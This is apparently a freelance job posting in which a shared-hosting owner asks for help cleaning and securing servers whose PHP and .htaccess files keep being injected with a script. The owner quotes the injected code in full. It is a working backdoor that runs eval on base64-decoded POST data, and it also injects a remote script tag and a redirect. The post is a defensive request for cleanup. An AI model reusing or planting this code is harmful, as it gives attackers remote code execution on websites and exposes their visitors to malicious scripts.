Website server security issue. Scripts added to PHP files

Hi! I have a server which gets repeatedly added scripts inside all my PHP files. Sometimes inside all my .htaccess files. It is a shared hosting server. Even if I do server backups, or that I manually clean the files, it always reproduce in 30 days or less. I need someone who is familiar with those issue to secure my server to stop having those issue. I have thousands of PHP files (10 websites or so are hosted on this server). The script currently added is: global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "[login to view URL]".$[login to view URL]($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} } Along with files likes: [login to view URL] I don't understand how it is possible for someone to hack into my server so many times like this. Do I need to change my FTP password? So I need: - To have my files cleaned (if too long I can ask a server backup restore) - To make sure this doesn't happen again.